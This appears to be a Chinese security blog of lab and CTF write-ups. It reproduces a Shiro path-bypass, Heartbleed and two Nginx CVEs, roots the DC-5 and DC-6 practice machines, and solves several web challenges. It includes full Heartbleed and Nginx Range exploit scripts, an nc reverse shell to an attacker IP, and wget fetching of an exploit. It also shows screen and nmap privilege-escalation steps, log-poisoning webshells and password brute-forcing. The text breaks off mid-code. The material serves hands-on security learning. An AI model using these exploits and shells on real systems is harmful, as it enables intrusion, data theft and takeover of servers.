这次的CVE产生于shiro在uri进拦截器之前使用了RequestUri函数中调用decodeAndCleanUriString函数对URI进行清洗。如果URI中存在;号的话,则会删除其后面的所有字符。

清洗函数在源码中具体实例如下:

1
2
3
4
5
private static String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = decodeRequestString(request, uri);
    int semicolonIndex = uri.indexOf(59);//获取;号的位置
    return semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri;
}

这样,在被过滤器检查的时候类似于/miao;/../hello/1/最终也就变成了/miao,而进spring之前不会被清洗,所以正常解析到/miao;/../hello/1/

所以也就知道该怎么做了

1
2
3
4
5
6
7
8
9
GET /admin HTTP/1.1
Host: 192.168.10.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

直接访问/admin失败了,会被重定向到根目录

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面

1
2
3
4
5
6
7
8
9
GET /xxx/..;/admin/ HTTP/1.1
Host: 192.168.10.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

这样就成功访问到了管理页面。

CVE-2014-0160(OpenSSL心脏出血漏洞)

  • OpenSSL:OpenSSL是一个强大的安全套接字层密码库,Apache使用它加密HTTPS,OpenSSH使用它加密SSH。OpenSSL为网络通信提供安全及数据完整性的一种安全协议,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。

  • 越来越多的网站使用加密代码来保护如用户名、密码和信用卡号等数据,这能够防止黑客通过网络盗取个人信息。这种加密协议被称为SSL(Secure Sockets Layer安全套接层)或TLS(Transport Layer Security Protocol安全传输层协议)。当一个网站使用这种安全协议,浏览器中的地址栏旁会出现挂锁图标。编写加密代码十分复杂,所以很多网站使用一种开源的免费安全协议,即OpenSSL。

  • 导致此漏洞的代码在OpenSSL的TLS HeartBeat扩展中,问题存在于ssl/dl_both.c文件中的心跳部分,具体函数为

1
int dtls1_process_heartbeat(SSL *s)
  • SSLv3记录包括内容:类型域type,长度域length,数据域data。P是指向SSLv3记录中数据的指针。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
hbtype = *p++;n2s(p, payload);pl = p;
unsigned char *buffer, *bp;int r;
buffer = OpenSSL_malloc(1 + 2 + payload + padding);bp = buffer;
*bp++ = TLS1_HB_RESPONSE;s2n(payload, bp);memcpy(bp, pl, payload);

# 商业转载请联系作者获得授权,非商业转载请注明出处。
# For commercial use, please contact the author for authorization. For non-commercial use, please indicate the source.
# 协议(License):署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
# 作者(Author):drinkflower
# 链接(URL):https://drinkflower.asia/wordpress/
# 来源(Source):drinkflower's blog

Hbtype:心跳包的类型;
payload:心跳包的长度;
pl:访问者提供的心跳包的数据。
buffer:分配访问者指定大小的内存块,此内存块最大可为:[1+2+65535+16]字节;
bp:分配内存块的指针。
  • 先后将类型、长度存入bp指向的buffer,长度与访问者提供的长度相同,从pl复制payload长度到bp指向的buffer中。

  • 而漏洞便发生在此处,当恶意构造的心跳包没有提供足够多的数据,且payload 的长度与实际不符,memcpy便会把SSLv3记录后的数据均复制出来,数据每次至多64KB。

1
2
3
"心跳"是一种常见的运维设计思想,即连接一端的计算机发出一条简短数据,协议另一端的计算机是否仍然在线,并获取反馈
数据。由于这种用于运维的链接可能是周期性的,因此被称为心跳。Heartbleed漏洞产生条件便源于此,当构造一个恶意的心
跳数据进行欺骗SSL协议另一端的计算机时,其便会受到欺骗并发送服务器内存中的数

也就是说,这个漏洞可以让我们把服务器内存中的数据一次一次的带出,每次可以带出64kb

此漏洞利用条件为OpenSSL1.0.1

复现

由docker ps可知https服务是开在8443端口的,访问一下,记得将请求url请求替换为htpps,因为只支持https请求

对于这个漏洞的攻击就是直接用python将脚本带出,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
  return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s: bytes):
  for b in range(0, len(s), 16):
      lin = [c for c in s[b : b + 16]]
      hxdat = ' '.join('%02X' % c for c in lin)
      pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
      print(' %04x: %-48s %s' % (b, hxdat, pdat))

  print("")

def recvall(s, length, timeout=5):
  endtime = time.time() + timeout
  rdata = b''
  remain = length
  while remain > 0:
      rtime = endtime - time.time()
      if rtime < 0:
          return None
      r, w, e = select.select([s], [], [], 5)
      if s in r:
          data = s.recv(remain)
          # EOF?
          if not data:
              return None
          rdata += data
          remain -= len(data)
  return rdata

def recvmsg(s):
  hdr = recvall(s, 5)
  if hdr is None:
      print('Unexpected EOF receiving record header - server closed connection')
      return None, None, None
  typ, ver, ln = struct.unpack('>BHH', hdr)
  pay = recvall(s, ln, 10)
  if pay is None:
      print('Unexpected EOF receiving record payload - server closed connection')
      return None, None, None
  print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
  return typ, ver, pay

def hit_hb(s):
  s.send(hb)
  while True:
      typ, ver, pay = recvmsg(s)
      if typ is None:
          print('No heartbeat response received, server likely not vulnerable')
          return False

      if typ == 24:
          print('Received heartbeat response:')
          hexdump(pay)
          if len(pay) > 3:
              print('WARNING: server returned more data than it should - server is vulnerable!')
          else:
              print('Server processed malformed heartbeat, but did not return any extra data.')
          return True

      if typ == 21:
          print('Received alert:')
          hexdump(pay)
          print('Server returned error, likely not vulnerable')
          return False

def main():
  opts, args = options.parse_args()
  if len(args) < 1:
      options.print_help()
      return

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print('Connecting...')
  sys.stdout.flush()
  s.connect((args[0], opts.port))
  print('Sending Client Hello...')
  sys.stdout.flush()
  s.send(hello)
  print('Waiting for Server Hello...')
  sys.stdout.flush()
  while True:
      typ, ver, pay = recvmsg(s)
      if typ == None:
          print('Server closed connection without sending Server Hello.')
          return
      # Look for server hello done message.
      if typ == 22 and pay[0] == 0x0E:
          break

  print('Sending heartbeat request...')
  sys.stdout.flush()
  s.send(hb)
  hit_hb(s)

if __name__ == '__main__':
  main()

再使用命令运行脚本:

1
python seb.py 127.0.0.1 -p 8443

数据被成功带出

法2

也可以直接使用msf里的漏洞模块,直接进行攻击,就是程序化的,这里就不再对这个方法做详细的介绍了

CVE-2013-4547(Nginx文件名逻辑漏洞)

之前的CVE几乎都是关于Apache的,所以这里就对Nginx做一个解释

  • Nginx(发音为“engine-x”)是一个高性能的开源Web服务器软件。它以异步事件驱动的方式处理客户端请求,具有占用资源 少、处理并发连接能力强和稳定性高等特点。Nginx还可以用作反向代理服务器、负载均衡器和HTTP缓存等。

  • Nginx与Apache相比,有以下的一些区别:

1
2
3
4
5
6
7
1.架构设计:Nginx采用了基于事件驱动的架构,而Apache采用的是多线程或多进程的模型。这使得Nginx在处理大量并发连接时更高效,内存消耗更少。

2.内存使用:Nginx设计得非常轻量级,内存占用量较低。相比之下,Apache使用的线程模型会为每个连接创建一个线程或进程,导致内存消耗较高。

3.静态文件处理:Nginx在处理静态文件时效率更高,可以更快地提供静态内容。Apache在这方面的性能相对较差。

4.可扩展性:Nginx具有良好的可扩展性,可以处理数千个并发连接而不会影响性能。Apache则对并发连接的处理能力相对较弱。

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:

1
2
3
4
5
6
7
8
location ~ \.php$ {
  include       fastcgi_params;

  fastcgi_pass   127.0.0.1:9000;
  fastcgi_index index.php;
  fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
  fastcgi_param DOCUMENT_ROOT /var/www/html;
}

其中,送入的文件名会被交给.php$这个正则处理,如果满足就被送入location,不满足就丢给别的模块处理

在存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,0x00截至符把后面的内容屏蔽了,Nginx就错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,然后后续所有针对文件名的过滤就都失效了. 漏洞的利用条件是nginx版本在 0.8.41~1.4.3, 1.5 ~ 1.5.7 漏洞复现

漏洞的利用条件是nginx版本在0.8.411.4.3,1.51.5.7

复现

  • 在该漏洞中,非法字符空格和截止符(\0)可能会导致 Nginx 在解析 URI 时的有限状态机(Finite State Machine)出现混乱。有限状态机是一种计算模型,用于描述具有有限数量状态和规则转换的系统。在 Nginx 中,有限状态机用于解析和处理客户端请求。

  • 举个例子来说明:假设服务器上存在一个文件名为 “file.aaa “,注意文件名的最后一个字符是空格。在正常情况下,当我们使用 URI 访问该文件时,应该是:”http://example.com/file.aaa “。然而,在存在该漏洞的情况下,攻击者可以通过构造特殊的请求来绕过 URI 后缀名限制。

  • 例如,攻击者可以发送一个请求:”http://example.com/file.aaa \0.bbb”。这里 “%20” 是 URL 编码表示的空格字符。由于有限状态机在解析 URI 时无法正确处理空格字符,Nginx 可能会误认为请求的文件后缀是 “.bbb “,而忽略了空格前的内容。这样,攻击者就能够绕过原本的后缀名限制,访问到服务器上的文件。

先上传一个木马文件试试

这里能看到访问失败了,根据这个漏洞的原理,我们抓包在16进制编辑器里面插入16进制的20和00就行

可以看到上传成功,尝试用蚁剑连接

蚁剑连接失败,不知道是为啥,这里就不管了,不过修改木马文件内容为phpinfo()是可以看到有关php的相关信息的。

CVE-2017-7529(Nginx越界读取缓存漏洞)

  • HTTP 断点续传是一种机制,允许客户端在下载或上传大型文件时能够在中断和恢复的情况下继续传输文件,而无需重新开始整个传输过程。Range 头字段是用于实现断点续传的关键。
  • Range 头字段用于指定客户端希望从服务器端获取的资源的特定范围。它的格式为 Range: bytes=start-end,其中 start 是起始字节位置,end是结束字节位置(可选)。
  • 当客户端发送带有 Range 头的请求时,服务器会根据该范围返回相应的文件片段。这使得客户端可以通过多次发送请求来逐步下载整个文件,或者在下载过程中暂停并继续下载。
  • 以下是使用 Range 头实现断点续传的示例:

客户端发起带有Range头的GET请求:

1
2
3
Copy CodeGET /path/to/file HTTP/1.1
Host: example.com
Range: bytes=0-99

服务器相应带有指定范围的内容:

1
2
3
4
5
6
Copy CodeHTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1000
Content-Range: bytes 0-999/2000

<file_bytes>
  • 注意,服务器的响应状态码是 206 Partial Content,并且响应头中包含了 Content-Range 字段,指示服务器返回的数据范围。客户端接收到响应后,可以将获取的文件片段保存到本地文件中。
  • 如果客户端在后续请求中需要继续传输文件的其他部分,只需更新 Range 头字段的范围,再次发送带有 Range 头的 GET 请求。

复现

首先访问一下8080端口的服务

当用户发起请求时,Nginx会先检查是否有与请求匹配的缓存文件存在。如果存在缓存文件并且命中了请求,则不需要再次访问后端服务器,Nginx会直接从缓存文件中读取HTTP返回包体,并将其返回给用户。这节省了从后端服务器获取数据的时间,提高了响应速度和性能。

缓存的文件通常包含文件头、HTTP返回包头和HTTP返回包体。文件头包含了额外的信息,例如缓存的创建时间和过期时间等。HTTP返回包头则包含了原始服务器返回的响应头部信息,例如状态码、内容类型、缓存策略等。而HTTP返回包体则是服务器返回的实际内容,比如网页的HTML代码或者静态文件的二进制数据。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。这样就实现了读了别的请求的缓存文件,相当于获取了别人的请求内容.

直接用脚本打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
  print("%s url" % (sys.argv[0]))
  print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
  sys.exit()

headers = {
  'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
  n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
1
python 1.py http://192.168.10.129:8080/

成功读取缓存

DC5-6靶机复现

DC5

信息搜集

1
nmap -A -p- 192.168.10.0/24

在扫描出来的结果中查找,有可疑端口的IP既为靶机地址

1
2
3
4
nginx 1.6.2
80 http
111 rpcbind2-4
53869 status

可以看到目标靶机开放了80 111 53869三个端口,既然80端口开放了http服务,我们先访问一下

界面有5个选项,每一个选项点击之后都显示访问了不同的php文件,我们再来使用diresearch看看有没有隐藏的php文件

1
diresearch -u 192.168.10.139

发现除了刚刚那五个可以访问到的php文件就只剩footer.php文件了,我们尝试访问

文件包含漏洞

可以看到footer.php的内容就是thankyou.php底部的内容(thankyou.php就是点击submit之后访问的php),并且每次重新访问thankyou.php之后再次重新访问footer.php,footer.php的内容也会变更至和footer.php一样,所以我们猜测thankyou.php包含了footer.php

那么这其中就存在了文件包含漏洞,那我们首先找寻一下包含的是那】哪个参数,这里就使用burpsuite

模式就设置为sniper模式,进行爆破

得到变量名应该是file

可以看到包含并访问成功

拿到shell

上面得知,这个http的服务器是nginx1.6.2,而我们已经知道nginx的日志文件是access.log根据之前所做过的一道类似ctf题,我们抓包进行UA配合日志文件传木马

放包成功写入,再次包含访问日志文件,然后用蚁剑配合我们刚上传上去的一句话木马进行访问

进去之后使用蚁剑打开虚拟终端进行一些基础操作

可以看到我们现在只是一个www-data的普通用户,并不是root,但是始终使用这个终端有点不方便(因为没有那么多工具),使用nc来反弹shell到我们kali的攻击机上

1
nc -e /bin/bash 192.168.10.129 4441

反弹shell成功,拿到shell,首先使用python语言来获得交互式shell:

1
python -c "import pty;pty.spawn('/bin/bash')"

提权

接下来就是提权啦,想到最常见的就是suid提权,使用下面的语句来查看哪些命令具有suid权限:

1
find / -user root -perm -4000 -print 2>/dev/null

发现其中有一个screen-4.5.0很可疑,使用kali自带的漏洞库对其进行查找

1
searchsploit screen

根据版本,一眼就看中了这俩,我们分别查看一下其中内容,在41154.sh里面发现了直接的步骤

可以看到EOF隔开了我们要创建的文件和结束后需要执行的命令

第一部分

在tmp目录下创建libhax.c文件,将内容复制进去,这个我们在蚁剑里执行即可

1
2
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

第二部分

第二部分就是在/tmp目录下创建一个rootshell.c文件,然后保存后执行相应命令

1
2
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

第三部分

创建一个.sh文件,文件内容为所给步骤中的剩余代码,前面记得加上#!/bin/bash,注意:保存要输入set ff=unix,是为了防止脚本的格式错误

1
2
3
4
5
6
7
8
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

我们先在kali机上创建一个d.sh文件,然后再将他下载到靶机上:

1
2
vim d.sh
mv d.sh /var/www/html

在靶机上的/tmp目录下进行下载

1
wget http://192.168.10.129/d.sh

成功写入

如果觉得第三部分像上面这么做比较麻烦,难以理解,也可以依次输入exp里剩下的命令

接下来就是使用蚁剑反弹给kali的shell继续执行下一步的操作

1
2
chmod +x d.sh
./d.sh

成功拿到root权限

成功拿到flag。

DC6

信息搜集

老规矩,使用nmap找到目标靶机

1
nmap -A -p- 192.168.10.0/24

一眼就相中了这个

1
2
80 http Apache2.4.25
22 ssh

下面访问一下80端口,看一下界面,一开始是访问失败的哈,所以要像DC2一样将对应ip和域名写进C:\Windows\System32\drivers\etc\hosts里面

之后直接在浏览器尝试访问,访问时间有点长,稍安勿躁

可以看到有cms为wordpress,那我们就想到的是DC2用到的针对wordpress的渗透工具wpscan,首先使用dirb,或者diresearch扫一下目录

依次访问一下,很快就在其中找到了登录界面

爆破进行登录

我们既然知道了有wpscan,那就用wpscan爆破一下用户名和密码,先爆破用户名

1
wpscan --url http://wordy -e u

扫描到五个用户,将他们全部输出到users.txt里面,也可以使用命令在扫描时就生成或者自己写入

1
2
3
4
5
echo "admin" > users.txt
echo "graham" >> users.txt
echo "mark" >> users.txt
echo "sarah" >> users.txt
echo "jens" >> users.txt

下一步就是通过cewl来尝试生成密码字典进行爆破登录了。

1
cewl http://wordy -w passwd.txt

密码字典生成之后再使用wpscan进行用户名与密码的爆破

1
wpscan --url http://wordy -U users.txt -P passwd.txt

这样子爆破失败了,我们还是使用kali自带的密码字典吧

1
2
3
4
5
6
7
8
#先解压密码字典
gunzip /usr/share/wordlists/rockyou.txt.gz /usr/share/wordlists/rockyou.txt

cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt

#用户名和密码字典都有了,开始爆破
wpscan --url wordy -U user.txt -P pwd.txt
#爆破出来账号:mark 密码:helpdesk01

登陆进去

漏洞查找&反弹shell

这里不知道该咋办,看看wp,发现是Activity monitor这个插件存在远程代码执行漏洞

使用45274.html

1
cat /usr/share/exploitdb/exploits/php/webapps/45274.html

里面给出了代码,我们把他复制一份出来

1
2
3
4
5
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html
vim 45274.html

#攻击机上监听端口
nc -lvvp 4441

1的地方改为我们的目标网址,2的地方就改成我们的攻击机和监听端口

开启攻击机的http服务

1
python -m SimpleHTTPServer 80

点击submit request之后就拿到了反弹后的shell

使用python语言获得交互式shell

1
python -c "import pty;pty.spawn('/bin/bash')"

提权

之后还是常见的查看是否有suid提权,没什么发现

进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码

1
2
cd /home/mark/stuff
cat things-to-do.txt

发现了新用户graham ,密码为GSo7isUM1D4尝试使用su进行用户登录

可以看到登录成功,接下来再看看有当前用户可执行操作:

1
sudo -l

发现/home/jens/backups.sh是不需要密码的。

1
cat /home/jens/backups.sh

向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本(因为这个脚本是在jens用户目录下)

1
2
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

可以看到切换成功,再次使用sudo-l看看jens用户可执行什么命令:

1
sudo -l

发现jens用户可以无密码执行/usr/bin/nmap命令

百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件(注意切换目录)

1
2
3
4
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
cd /root
cat theflag.txt

暑假题目

[NSSCTF 2022 Spring Recruit]babyphp

先看题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php

可以看到是要通过四个if的检测才能成功拿到flag

第一个if检测

1
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))

会进行取整,直接进行数组绕过

1
a[]=1

可以看到成功绕过

第二个和第三个if

1
2
if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))

要求POST传参b1和b2,并且传上去的参数本身值不同,但md5值要相同

直接用数组进行绕过即可

1
b1[]=2&b2[]=3

成功绕过

最后一个if

1
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

要求传上去的值为字符串且值不同但是md5值要相同

直接使用0e开头的科学计数法就可以了

1
c1=s878926199a&c2=s155964671a

直接就拿到了flag

[GXYCTF 2019]BabyUpload

题目就是一个文件上传的界面,nss标签提醒了是MIME验证并且要用到.htaccess文件,当我们尝试上传php文件时发现回显是不能上传后缀名为ph的文件,所以抓包改后缀,同时要改Content-type

先抓包上传.htaccess文件,文件内容为

1
2
3
4
5
<FilesMatch  "wen">

SetHandler application/x-httpd-php

</FilesMatch>

发现上传成功,下一步就是上传后缀名为wen的真正的木马文件,注意也要改content-type

发现又上传成功,接下来将路径复制下来加在题目地址后面就行,用hackbar执行命令即可

1
upload/993203c1a20fe34d2fc406badd31d804/muma2.wen

成功拿到flag。

[GDOUCTF 2023]EZ WEB

题目一进去就只有一个按键,并且点击之后只出来一个弹窗就没反应了,所以按F12看看

发现让我们访问src

发现是一个flask所写的轻量化web程序

如果以get方式访问/路由,就返回index.html的内容

如果以get方式访问/src路由,就返回app.py的内容

如果以PUT方式访问/super-secret-route-nobody-will-guess,就返回flag文件的内容

所以果断选第三个

直接抓包改代理,将传输方式改为PUT方式即可

[HCTF 2018]Warmup

题目一进去是一张很欠的表情包,F12查看源码,访问source.php得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

发现了hint.php

尝试访问

1
flag not here, and flag in ffffllllaaaagggg

我们知道了flag的位置,再退回上一步审计代码

先说说整体的逻辑:

  1. 首先,使用highlight_file函数将当前文件的源代码输出,即将代码以语法高亮的形式显示出来。
  2. 然后定义了一个名为emmm的类,其中包含了一个名为checkFile的静态方法。这个方法用来检查并允许包含指定文件。
  3. 在checkFile方法中,首先定义了一个白名单数组$whitelist,包含了允许访问的文件名。
  4. 接着,通过检查传入的page参数,判断是否符合条件。如果page为空或不是一个字符串,将输出”you can’t see it”并返回false。
  5. 如果$page在白名单数组中存在,直接返回true。
  6. 否则,首先对page参数进行处理,截取其中的部分字符直到遇到第一个问号(?)为止,并赋值给pag**e进行处理,截取其中的部分字符直到遇到第一个问号(?)为止,并赋值给_page变量。
  7. 然后按照同样的逻辑,对$_page进行处理,再次截取部分字符直到遇到第一个问号(?)为止。
  8. 最后,对$_page进行URL解码,并再次进行截取处理。
  9. 如果最终的$_page在白名单数组中存在,返回true。
  10. 如果以上条件都不满足,将输出”you can’t see it”并返回false。
  11. 在主程序中,首先检查请求中是否存在名为file的参数,并且该参数是一个非空字符串。然后调用emmm类的checkFile方法进行文件检查。
  12. 如果文件检查通过,使用include语句包含请求中指定的文件,并立即退出程序。
  13. 如果文件检查不通过,将输出一段HTML代码,其中包含了一个图片的URL。

接下来再说说其中的一些函数:

mb_substr(str,start,length,encoding):返回从start位置开始的长度为length的字符串。

mb_strpos(str,find_str,offset,encoding):返回str中从offset(默认为0)开始第一次出现find_str的位置。

urlcode():对其传入的str参数进行str解码。

到这里问完了chatgpt之后就麻了,不知道下一步该怎么办

这里看wp,知道了include比较阴间的一个小特性:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

使用../逐级进行跳转,最终得到正确的payload:

1
file=source.php?../../../../../ffffllllaaaagggg

source.php换成hint.php也可,就得到了flag

[GDOUCTF 2023]泄露的伪装

这道题是一个源码泄露,一开始以为是git泄露,还去拿githacker扫描了一下,发现没有反应

有用ddiresearch试了试,发现了返回状态唯一正常的两个文件

1
/www.rar                         /test.txt

尝试进行访问

这是test.txt的内容

他会读取cxk所传入文件的值,如果文件的值为ctrl,就打印出flag

再下载www.rar,查看其中内容

1
2
3
4
恭喜你
turn to

/orzorz.php

尝试访问

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?> nononoononoonono

这个php文件里才是可执行源码

为了达到传入文件参数,且内容为ctrl,就使用data://数据流协议:

1
?cxk=data://text/plain,ctrl

就拿到了flag。

[第五空间 2021]pklovecloud

先看题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

先来说说链子,敏感函数肯定是怎么触发file_get_content函数

然后要触发echo_name函数,找了找发现acp的to_string里面用到了这个函数,并且使acp的this->cinder=new ace()就可以了

链子构造出来很简单,但是这道题有两个比较难的点:

一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。

第一种解法:

到这里始终想不到怎么满足这个条件,就去看了wp,官方wp是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
